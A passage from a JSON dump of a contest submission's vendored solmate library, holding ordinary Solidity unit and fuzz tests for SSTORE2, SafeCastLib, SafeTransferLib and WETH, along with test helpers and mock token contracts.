{\n        assertBytesEq(SSTORE2.read(SSTORE2.write(hex\"11223344\"), 1, 3), hex\"2233\");\n    }\n\n    function testWriteReadEmptyBound() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 3, 3);\n    }\n\n    function testFailReadInvalidPointer() public view {\n        SSTORE2.read(DEAD_ADDRESS);\n    }\n\n    function testFailReadInvalidPointerCustomStartBound() public view {\n        SSTORE2.read(DEAD_ADDRESS, 1);\n    }\n\n    function testFailReadInvalidPointerCustomBounds() public view {\n        SSTORE2.read(DEAD_ADDRESS, 2, 4);\n    }\n\n    function testFailWriteReadOutOfStartBound() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 41000);\n    }\n\n    function testFailWriteReadEmptyOutOfBounds() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 42000, 42000);\n    }\n\n    function testFailWriteReadOutOfBounds() public {\n        SSTORE2.read(SSTORE2.write(hex\"11223344\"), 41000, 42000);\n    }\n\n    function testWriteRead(bytes calldata testBytes) public {\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes)), testBytes);\n    }\n\n    function testWriteReadCustomStartBound(bytes calldata testBytes, uint256 startIndex) public {\n        if (testBytes.length == 0) return;\n\n        startIndex = bound(startIndex, 0, testBytes.length);\n\n        assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), startIndex), bytes(testBytes[startIndex:]));\n    }\n\n    function testWriteReadCustomBounds(\n        bytes calldata testBytes,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public {\n        if (testBytes.length == 0) return;\n\n        endIndex = bound(endIndex, 0, testBytes.length);\n        startIndex = bound(startIndex, 0, testBytes.length);\n\n        if (startIndex > endIndex) return;\n\n        assertBytesEq(\n            SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex),\n            bytes(testBytes[startIndex:endIndex])\n        );\n    }\n\n    function testFailReadInvalidPointer(address pointer) public view {\n        SSTORE2.read(pointer);\n    }\n\n    function testFailReadInvalidPointerCustomStartBound(address pointer, uint256 startIndex) public view {\n        SSTORE2.read(pointer, startIndex);\n    }\n\n    function testFailReadInvalidPointerCustomBounds(\n        address pointer,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public view {\n        SSTORE2.read(pointer, startIndex, endIndex);\n    }\n\n    function testFailWriteReadCustomStartBoundOutOfRange(bytes calldata testBytes, uint256 startIndex) public {\n        startIndex = bound(startIndex, testBytes.length + 1, type(uint256).max);\n\n        SSTORE2.read(SSTORE2.write(testBytes), startIndex);\n    }\n\n    function testFailWriteReadCustomBoundsOutOfRange(\n        bytes calldata testBytes,\n        uint256 startIndex,\n        uint256 endIndex\n    ) public {\n        endIndex = bound(endIndex, startIndex + 1, type(uint256).max);\n\n        SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/SafeCastLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SafeCastLib} from \"../utils/SafeCastLib.sol\";\n\ncontract SafeCastLibTest is DSTestPlus {\n    function testSafeCastTo248() public {\n        assertEq(SafeCastLib.safeCastTo248(2.5e45), 2.5e45);\n        assertEq(SafeCastLib.safeCastTo248(2.5e27), 2.5e27);\n    }\n\n    function testSafeCastTo128() public {\n        assertEq(SafeCastLib.safeCastTo128(2.5e27), 2.5e27);\n        assertEq(SafeCastLib.safeCastTo128(2.5e18), 2.5e18);\n    }\n\n    function testSafeCastTo96() public {\n        assertEq(SafeCastLib.safeCastTo96(2.5e18), 2.5e18);\n        assertEq(SafeCastLib.safeCastTo96(2.5e17), 2.5e17);\n    }\n\n    function testSafeCastTo64() public {\n        assertEq(SafeCastLib.safeCastTo64(2.5e18), 2.5e18);\n        assertEq(SafeCastLib.safeCastTo64(2.5e17), 2.5e17);\n    }\n\n    function testSafeCastTo32() public {\n        assertEq(SafeCastLib.safeCastTo32(2.5e8), 2.5e8);\n        assertEq(SafeCastLib.safeCastTo32(2.5e7), 2.5e7);\n    }\n\n    function testFailSafeCastTo248() public pure {\n        SafeCastLib.safeCastTo248(type(uint248).max + 1);\n    }\n\n    function testFailSafeCastTo128() public pure {\n        SafeCastLib.safeCastTo128(type(uint128).max + 1);\n    }\n\n    function testFailSafeCastTo96() public pure {\n        SafeCastLib.safeCastTo96(type(uint96).max + 1);\n    }\n\n    function testFailSafeCastTo64() public pure {\n        SafeCastLib.safeCastTo64(type(uint64).max + 1);\n    }\n\n    function testFailSafeCastTo32() public pure {\n        SafeCastLib.safeCastTo32(type(uint32).max + 1);\n    }\n\n    function testSafeCastTo248(uint256 x) public {\n        x = bound(x, 0, type(uint248).max);\n\n        assertEq(SafeCastLib.safeCastTo248(x), x);\n    }\n\n    function testSafeCastTo128(uint256 x) public {\n        x = bound(x, 0, type(uint128).max);\n\n        assertEq(SafeCastLib.safeCastTo128(x), x);\n    }\n\n    function testSafeCastTo96(uint256 x) public {\n        x = bound(x, 0, type(uint96).max);\n\n        assertEq(SafeCastLib.safeCastTo96(x), x);\n    }\n\n    function testSafeCastTo64(uint256 x) public {\n        x = bound(x, 0, type(uint64).max);\n\n        assertEq(SafeCastLib.safeCastTo64(x), x);\n    }\n\n    function testSafeCastTo32(uint256 x) public {\n        x = bound(x, 0, type(uint32).max);\n\n        assertEq(SafeCastLib.safeCastTo32(x), x);\n    }\n\n    function testFailSafeCastTo248(uint256 x) public pure {\n        x = bound(x, type(uint248).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo248(x);\n    }\n\n    function testFailSafeCastTo128(uint256 x) public pure {\n        x = bound(x, type(uint128).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo128(x);\n    }\n\n    function testFailSafeCastTo96(uint256 x) public pure {\n        x = bound(x, type(uint96).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo96(x);\n    }\n\n    function testFailSafeCastTo64(uint256 x) public pure {\n        x = bound(x, type(uint64).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo64(x);\n    }\n\n    function testFailSafeCastTo32(uint256 x) public pure {\n        x = bound(x, type(uint32).max + 1, type(uint256).max);\n\n        SafeCastLib.safeCastTo32(x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/SafeTransferLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {ERC20} from \"weird-erc20/ERC20.sol\";\nimport {ReturnsFalseToken} from \"weird-erc20/ReturnsFalse.sol\";\nimport {MissingReturnToken} from \"weird-erc20/MissingReturns.sol\";\nimport {TransferFromSelfToken} from \"weird-erc20/TransferFromSelf.sol\";\nimport {PausableToken} from \"weird-erc20/Pausable.sol\";\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {SafeTransferLib, ERC20 as SolmateERC20} from \"../utils/SafeTransferLib.sol\";\n\ncontract SafeTransferLibTest is DSTestPlus {\n    ReturnsFalseToken returnsFalse;\n    MissingReturnToken missingReturn;\n    TransferFromSelfToken transferFromSelf;\n    PausableToken pausable;\n\n    ERC20 erc20;\n\n    function setUp() public {\n        returnsFalse = new ReturnsFalseToken(type(uint256).max);\n        missingReturn = new MissingReturnToken(type(uint256).max);\n        transferFromSelf = new TransferFromSelfToken(type(uint256).max);\n\n        pausable = new PausableToken(type(uint256).max);\n        pausable.stop();\n\n        erc20 = new ERC20(type(uint256).max);\n    }\n\n    function testTransferWithMissingReturn() public {\n        verifySafeTransfer(address(missingReturn), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithTransferFromSelf() public {\n        verifySafeTransfer(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithStandardERC20() public {\n        verifySafeTransfer(address(erc20), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithNonContract() public {\n        SafeTransferLib.safeTransfer(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithMissingReturn() public {\n        verifySafeTransferFrom(address(missingReturn), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithTransferFromSelf() public {\n        verifySafeTransferFrom(address(transferFromSelf), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithStandardERC20() public {\n        verifySafeTransferFrom(address(erc20), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testTransferFromWithNonContract() public {\n        SafeTransferLib.safeTransferFrom(SolmateERC20(address(0xBADBEEF)), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithMissingReturn() public {\n        verifySafeApprove(address(missingReturn), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithTransferFromSelf() public {\n        verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithStandardERC20() public {\n        verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);\n    }\n\n    function testApproveWithNonContract() public {\n        SafeTransferLib.safeApprove(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);\n    }\n\n    function testTransferETH() public {\n        SafeTransferLib.safeTransferETH(address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferWithReturnsFalse() public {\n        verifySafeTransfer(address(returnsFalse), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferWithPausable() public {\n        verifySafeTransfer(address(pausable), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromWithReturnsFalse() public {\n        verifySafeTransferFrom(address(returnsFalse), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromWithPausable() public {\n        verifySafeTransferFrom(address(pausable), address(0xFEED), address(0xBEEF), 1e18);\n    }\n\n    function testFailApproveWithReturnsFalse() public {\n        verifySafeApprove(address(returnsFalse), address(0xBEEF), 1e18);\n    }\n\n    function testFailApproveWithPausable() public {\n        verifySafeApprove(address(pausable), address(0xBEEF), 1e18);\n    }\n\n    function testTransferWithMissingReturn(address to, uint256 amount) public {\n        verifySafeTransfer(address(missingReturn), to, amount);\n    }\n\n    function testTransferWithTransferFromSelf(address to, uint256 amount) public {\n        verifySafeTransfer(address(transferFromSelf), to, amount);\n    }\n\n    function testTransferWithStandardERC20(address to, uint256 amount) public {\n        verifySafeTransfer(address(erc20), to, amount);\n    }\n\n    function testFailTransferETHToContractWithoutFallback() public {\n        SafeTransferLib.safeTransferETH(address(this), 1e18);\n    }\n\n    function testTransferWithNonContract(\n        address nonContract,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeTransfer(SolmateERC20(nonContract), to, amount);\n    }\n\n    function testTransferFromWithMissingReturn(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(missingReturn), from, to, amount);\n    }\n\n    function testTransferFromWithTransferFromSelf(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(transferFromSelf), from, to, amount);\n    }\n\n    function testTransferFromWithStandardERC20(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(erc20), from, to, amount);\n    }\n\n    function testTransferFromWithNonContract(\n        address nonContract,\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeTransferFrom(SolmateERC20(nonContract), from, to, amount);\n    }\n\n    function testApproveWithMissingReturn(address to, uint256 amount) public {\n        verifySafeApprove(address(missingReturn), to, amount);\n    }\n\n    function testApproveWithTransferFromSelf(address to, uint256 amount) public {\n        verifySafeApprove(address(transferFromSelf), to, amount);\n    }\n\n    function testApproveWithStandardERC20(address to, uint256 amount) public {\n        verifySafeApprove(address(transferFromSelf), to, amount);\n    }\n\n    function testApproveWithNonContract(\n        address nonContract,\n        address to,\n        uint256 amount\n    ) public {\n        if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;\n\n        SafeTransferLib.safeApprove(SolmateERC20(nonContract), to, amount);\n    }\n\n    function testTransferETH(address recipient, uint256 amount) public {\n        if (uint256(uint160(recipient)) <= 18) return;\n\n        amount = bound(amount, 0, address(this).balance);\n\n        SafeTransferLib.safeTransferETH(recipient, amount);\n    }\n\n    function testFailTransferWithReturnsFalse(address to, uint256 amount) public {\n        verifySafeTransfer(address(returnsFalse), to, amount);\n    }\n\n    function testFailTransferWithPausable(address to, uint256 amount) public {\n        verifySafeTransfer(address(pausable), to, amount);\n    }\n\n    function testFailTransferFromWithReturnsFalse(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(returnsFalse), from, to, amount);\n    }\n\n    function testFailTransferFromWithPausable(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        verifySafeTransferFrom(address(pausable), from, to, amount);\n    }\n\n    function testFailApproveWithReturnsFalse(address to, uint256 amount) public {\n        verifySafeApprove(address(returnsFalse), to, amount);\n    }\n\n    function testFailApproveWithPausable(address to, uint256 amount) public {\n        verifySafeApprove(address(pausable), to, amount);\n    }\n\n    function testFailTransferETHToContractWithoutFallback(uint256 amount) public {\n        SafeTransferLib.safeTransferETH(address(this), amount);\n    }\n\n    function verifySafeTransfer(\n        address token,\n        address to,\n        uint256 amount\n    ) internal {\n        uint256 preBal = ERC20(token).balanceOf(to);\n        SafeTransferLib.safeTransfer(SolmateERC20(address(token)), to, amount);\n        uint256 postBal = ERC20(token).balanceOf(to);\n\n        if (to == address(this)) {\n            assertEq(preBal, postBal);\n        } else {\n            assertEq(postBal - preBal, amount);\n        }\n    }\n\n    function verifySafeTransferFrom(\n        address token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        forceApprove(token, from, address(this), amount);\n        SafeTransferLib.safeTransfer(SolmateERC20(token), from, amount);\n\n        uint256 preBal = ERC20(token).balanceOf(to);\n        SafeTransferLib.safeTransferFrom(SolmateERC20(token), from, to, amount);\n        uint256 postBal = ERC20(token).balanceOf(to);\n\n        if (from == to) {\n            assertEq(preBal, postBal);\n        } else {\n            assertEq(postBal - preBal, amount);\n        }\n    }\n\n    function verifySafeApprove(\n        address token,\n        address to,\n        uint256 amount\n    ) internal {\n        SafeTransferLib.safeApprove(SolmateERC20(address(token)), to, amount);\n\n        assertEq(ERC20(token).allowance(address(this), to), amount);\n    }\n\n    function forceApprove(\n        address token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        uint256 slot = token == address(erc20) || token == address(pausable) ? 3 : 2;\n\n        hevm.store(\n            token,\n            keccak256(abi.encode(to, keccak256(abi.encode(from, uint256(slot))))),\n            bytes32(uint256(amount))\n        );\n\n        assertEq(ERC20(token).allowance(from, to), amount, \"wrong allowance\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/WETH.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\n\nimport {WETH} from \"../tokens/WETH.sol\";\n\ncontract WETHTest is DSTestPlus {\n    WETH weth;\n\n    function setUp() public {\n        weth = new WETH();\n    }\n\n    function testDeposit() public {\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        SafeTransferLib.safeTransferETH(address(weth), 1 ether);\n\n        assertEq(weth.balanceOf(address(this)), 1 ether);\n        assertEq(weth.totalSupply(), 1 ether);\n    }\n\n    function testFallbackDeposit() public {\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        weth.deposit{value: 1 ether}();\n\n        assertEq(weth.balanceOf(address(this)), 1 ether);\n        assertEq(weth.totalSupply(), 1 ether);\n    }\n\n    function testWithdraw() public {\n        uint256 startingBalance = address(this).balance;\n\n        weth.deposit{value: 1 ether}();\n\n        weth.withdraw(1 ether);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, startingBalance);\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n    }\n\n    function testPartialWithdraw() public {\n        weth.deposit{value: 1 ether}();\n\n        uint256 balanceBeforeWithdraw = address(this).balance;\n\n        weth.withdraw(0.5 ether);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + 0.5 ether);\n        assertEq(weth.balanceOf(address(this)), 0.5 ether);\n        assertEq(weth.totalSupply(), 0.5 ether);\n    }\n\n    function testDeposit(uint256 amount) public {\n        amount = bound(amount, 0, address(this).balance);\n\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        SafeTransferLib.safeTransferETH(address(weth), amount);\n\n        assertEq(weth.balanceOf(address(this)), amount);\n        assertEq(weth.totalSupply(), amount);\n    }\n\n    function testFallbackDeposit(uint256 amount) public {\n        amount = bound(amount, 0, address(this).balance);\n\n        assertEq(weth.balanceOf(address(this)), 0);\n        assertEq(weth.totalSupply(), 0);\n\n        weth.deposit{value: amount}();\n\n        assertEq(weth.balanceOf(address(this)), amount);\n        assertEq(weth.totalSupply(), amount);\n    }\n\n    function testWithdraw(uint256 depositAmount, uint256 withdrawAmount) public {\n        depositAmount = bound(depositAmount, 0, address(this).balance);\n        withdrawAmount = bound(withdrawAmount, 0, depositAmount);\n\n        weth.deposit{value: depositAmount}();\n\n        uint256 balanceBeforeWithdraw = address(this).balance;\n\n        weth.withdraw(withdrawAmount);\n\n        uint256 balanceAfterWithdraw = address(this).balance;\n\n        assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + withdrawAmount);\n        assertEq(weth.balanceOf(address(this)), depositAmount - withdrawAmount);\n        assertEq(weth.totalSupply(), depositAmount - withdrawAmount);\n    }\n\n    receive() external payable {}\n}\n\ncontract WETHInvariants is DSTestPlus, DSInvariantTest {\n    WETHTester wethTester;\n    WETH weth;\n\n    function setUp() public {\n        weth = new WETH();\n        wethTester = new WETHTester{value: address(this).balance}(weth);\n\n        addTargetContract(address(wethTester));\n    }\n\n    function invariantTotalSupplyEqualsBalance() public {\n        assertEq(address(weth).balance, weth.totalSupply());\n    }\n}\n\ncontract WETHTester {\n    WETH weth;\n\n    constructor(WETH _weth) payable {\n        weth = _weth;\n    }\n\n    function deposit(uint256 amount) public {\n        weth.deposit{value: amount}();\n    }\n\n    function fallbackDeposit(uint256 amount) public {\n        SafeTransferLib.safeTransferETH(address(weth), amount);\n    }\n\n    function withdraw(uint256 amount) public {\n        weth.withdraw(amount);\n    }\n\n    receive() external payable {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/DSInvariantTest.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\ncontract DSInvariantTest {\n    address[] private targets;\n\n    function targetContracts() public view virtual returns (address[] memory) {\n        require(targets.length > 0, \"NO_TARGET_CONTRACTS\");\n\n        return targets;\n    }\n\n    function addTargetContract(address newTargetContract) internal virtual {\n        targets.push(newTargetContract);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/DSTestPlus.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {DSTest} from \"ds-test/test.sol\";\n\nimport {Hevm} from \"./Hevm.sol\";\n\n/// @notice Extended testing framework for DappTools projects.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/test/utils/DSTestPlus.sol)\ncontract DSTestPlus is DSTest {\n    Hevm internal constant hevm = Hevm(HEVM_ADDRESS);\n\n    address internal constant DEAD_ADDRESS = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;\n\n    string private checkpointLabel;\n    uint256 private checkpointGasLeft;\n\n    function startMeasuringGas(string memory label) internal virtual {\n        checkpointLabel = label;\n        checkpointGasLeft = gasleft();\n    }\n\n    function stopMeasuringGas() internal virtual {\n        uint256 checkpointGasLeft2 = gasleft();\n\n        string memory label = checkpointLabel;\n\n        emit log_named_uint(string(abi.encodePacked(label, \" Gas\")), checkpointGasLeft - checkpointGasLeft2);\n    }\n\n    function fail(string memory err) internal virtual {\n        emit log_named_string(\"Error\", err);\n        fail();\n    }\n\n    function assertFalse(bool data) internal virtual {\n        assertTrue(!data);\n    }\n\n    function assertUint128Eq(uint128 a, uint128 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint64Eq(uint64 a, uint64 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint96Eq(uint96 a, uint96 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint32Eq(uint32 a, uint32 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertBoolEq(bool a, bool b) internal virtual {\n        b ? assertTrue(a) : assertFalse(a);\n    }\n\n    function assertApproxEq(\n        uint256 a,\n        uint256 b,\n        uint256 maxDelta\n    ) internal virtual {\n        uint256 delta = a > b ? a - b : b - a;\n\n        if (delta > maxDelta) {\n            emit log(\"Error: a ~= b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", a);\n            emit log_named_uint(\"    Actual\", b);\n            emit log_named_uint(\" Max Delta\", maxDelta);\n            emit log_named_uint(\"     Delta\", delta);\n            fail();\n        }\n    }\n\n    function assertRelApproxEq(\n        uint256 a,\n        uint256 b,\n        uint256 maxPercentDelta\n    ) internal virtual {\n        uint256 delta = a > b ? a - b : b - a;\n        uint256 abs = a > b ? a : b;\n\n        uint256 percentDelta = (delta * 1e18) / abs;\n\n        if (percentDelta > maxPercentDelta) {\n            emit log(\"Error: a ~= b not satisfied [uint]\");\n            emit log_named_uint(\"    Expected\", a);\n            emit log_named_uint(\"      Actual\", b);\n            emit log_named_uint(\" Max % Delta\", maxPercentDelta);\n            emit log_named_uint(\"     % Delta\", percentDelta);\n            fail();\n        }\n    }\n\n    function assertBytesEq(bytes memory a, bytes memory b) internal virtual {\n        if (keccak256(a) != keccak256(b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", b);\n            emit log_named_bytes(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertUintArrayEq(uint256[] memory a, uint256[] memory b) internal virtual {\n        require(a.length == b.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < a.length; i++) {\n            assertEq(a[i], b[i]);\n        }\n    }\n\n    function bound(\n        uint256 x,\n        uint256 min,\n        uint256 max\n    ) internal pure returns (uint256 result) {\n        require(max >= min, \"MAX_LESS_THAN_MIN\");\n\n        uint256 size = max - min;\n\n        if (max != type(uint256).max) size++; // Make the max inclusive.\n        if (size == 0) return min; // Using max would be equivalent as well.\n        // Ensure max is inclusive in cases where x != 0 and max is at uint max.\n        if (max == type(uint256).max && x != 0) x--; // Accounted for later.\n\n        if (x < min) x += size * (((min - x) / size) + 1);\n        result = min + ((x - min) % size);\n\n        // Account for decrementing x to make max inclusive.\n        if (max == type(uint256).max && x != 0) result++;\n    }\n\n    function min3(\n        uint256 a,\n        uint256 b,\n        uint256 c\n    ) internal pure returns (uint256) {\n        return a > b ? (b > c ? c : b) : (a > c ? c : a);\n    }\n\n    function min2(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a > b ? b : a;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/Hevm.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\ninterface Hevm {\n    function warp(uint256) external;\n\n    function roll(uint256) external;\n\n    function store(\n        address,\n        bytes32,\n        bytes32\n    ) external;\n\n    function load(address, bytes32) external returns (bytes32);\n\n    function sign(uint256, bytes32)\n        external\n        returns (\n            uint8,\n            bytes32,\n            bytes32\n        );\n\n    function addr(uint256) external returns (address);\n\n    function ffi(string[] calldata) external returns (bytes memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockAuthChild.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Auth, Authority} from \"../../../auth/Auth.sol\";\n\ncontract MockAuthChild is Auth(msg.sender, Authority(address(0))) {\n    bool public flag;\n\n    function updateFlag() public virtual requiresAuth {\n        flag = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Authority} from \"../../../auth/Auth.sol\";\n\ncontract MockAuthority is Authority {\n    bool immutable allowCalls;\n\n    constructor(bool _allowCalls) {\n        allowCalls = _allowCalls;\n    }\n\n    function canCall(\n        address,\n        address,\n        bytes4\n    ) public view override returns (bool) {\n        return allowCalls;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockERC1155.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC1155} from \"../../../tokens/ERC1155.sol\";\n\ncontract MockERC1155 is ERC1155 {\n    function uri(uint256) public pure virtual override returns (string memory) {}\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        _mint(to, id, amount, data);\n    }\n\n    function batchMint(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        _batchMint(to, ids, amounts, data);\n    }\n\n    function burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) public virtual {\n        _burn(from, id, amount);\n    }\n\n    function batchBurn(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) public virtual {\n        _batchBurn(from, ids, amounts);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockERC20.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\n\ncontract MockERC20 is ERC20 {\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) ERC20(_name, _symbol, _decimals) {}\n\n    function mint(address to, uint256 value) public virtual {\n        _mint(to, value);\n    }\n\n    function burn(address from, uint256 value) public virtual {\n        _burn(from, value);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockERC721.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC721} from \"../../../tokens/ERC721.sol\";\n\ncontract MockERC721 is ERC721 {\n    constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {}\n\n    function tokenURI(uint256) public pure virtual override returns (string memory) {}\n\n    function mint(address to, uint256 tokenId) public virtual {\n        _mint(to, tokenId);\n    }\n\n    function burn(uint256 tokenId) public virtual {\n        _burn(tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public virtual {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory data\n    ) public virtual {\n        _safeMint(to, tokenId, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/ERC1155User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC1155, ERC1155TokenReceiver} from \"../../../tokens/ERC1155.sol\";\n\ncontract ERC1155User is ERC1155TokenReceiver {\n    ERC1155 token;\n\n    constructor(ERC1155 _token) {\n        token = _token;\n    }\n\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) external virtual override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external virtual override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        token.setApprovalForAll(operator, approved);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        token.safeTransferFrom(from, to, id, amount, data);\n    }\n\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        token.safeBatchTransferFrom(from, to, ids, amounts, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/ERC20User.sol",
